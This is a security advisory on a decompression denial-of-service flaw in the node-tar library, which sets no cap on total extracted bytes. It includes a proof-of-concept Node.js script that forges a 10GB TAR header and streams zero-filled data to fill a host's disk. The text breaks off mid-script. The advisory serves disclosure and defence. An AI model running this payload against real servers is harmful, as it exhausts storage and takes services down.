GHSA-23hp-3jrh-7fpw: node-tar: Decompression/parse DoS via unlimited input

Summary A Decompression/parse DoS via unlimited input vulnerability in node-tar allows an attacker to exhaust server resources (disk space and CPU). Because the library does not enforce hard upper bounds on total decompressed data or entry counts, a small, maliciously crafted "Gzip Bomb" can be used to fill a server's storage and crash services. Details The node-tar library does not enforce a hard upper bound on archive size or the volume of decompressed data processed during extraction. While the maxReadSize option exists, it only controls internal read chunk sizes (default 16MB) and does not limit the total cumulative bytes written to disk. Specifically, in src/extract.ts, the Unpack stream processes entries as they arrive. There is no total-bytes limit, entry-count limit, or decompression ratio guard. An attacker can provide a TAR header claiming a massive file size (e.g., 10GB) and follow it with highly compressible data (like zeros). node-tar will continue to extract and write this data until the physical disk is exhausted, as it lacks a mechanism to abort based on global resource consumption. PoC The following Proof of Concept demonstrates how a tiny compressed input can be expanded into gigabytes of data on the host machine almost instantly. 1. Create the exploit script: const fs = require('fs'), z = require('zlib'), t = require('tar'); const d = 'dos_test'; if (fs.existsSync(d)) fs.rmSync(d, {recursive:true}); fs.mkdirSync(d); // Build 10GB header const h = Buffer.alloc(512); h.write('payload'); h.write((10*1024**3).toString(8).padStart(11,'0'), 124); h.write('ustar', 257); let s = 256; for(let i=0;i<512;i++) if(i<148||i>155) s+=h[i]; h.write(s.toString(8).padStart(6,'0'), 148); const gz = z.createGzip(); gz.pipe(t.x({cwd: d})); gz.write(h); const b = Buffer.alloc(32 * 1024 * 1024); // 32MB chunks for speed const run = () => { while (gz.write(b)); gz.once('drain', run); }; const monitor = setInterval(() => { try { const bytes = fs.statSync(${d}/pa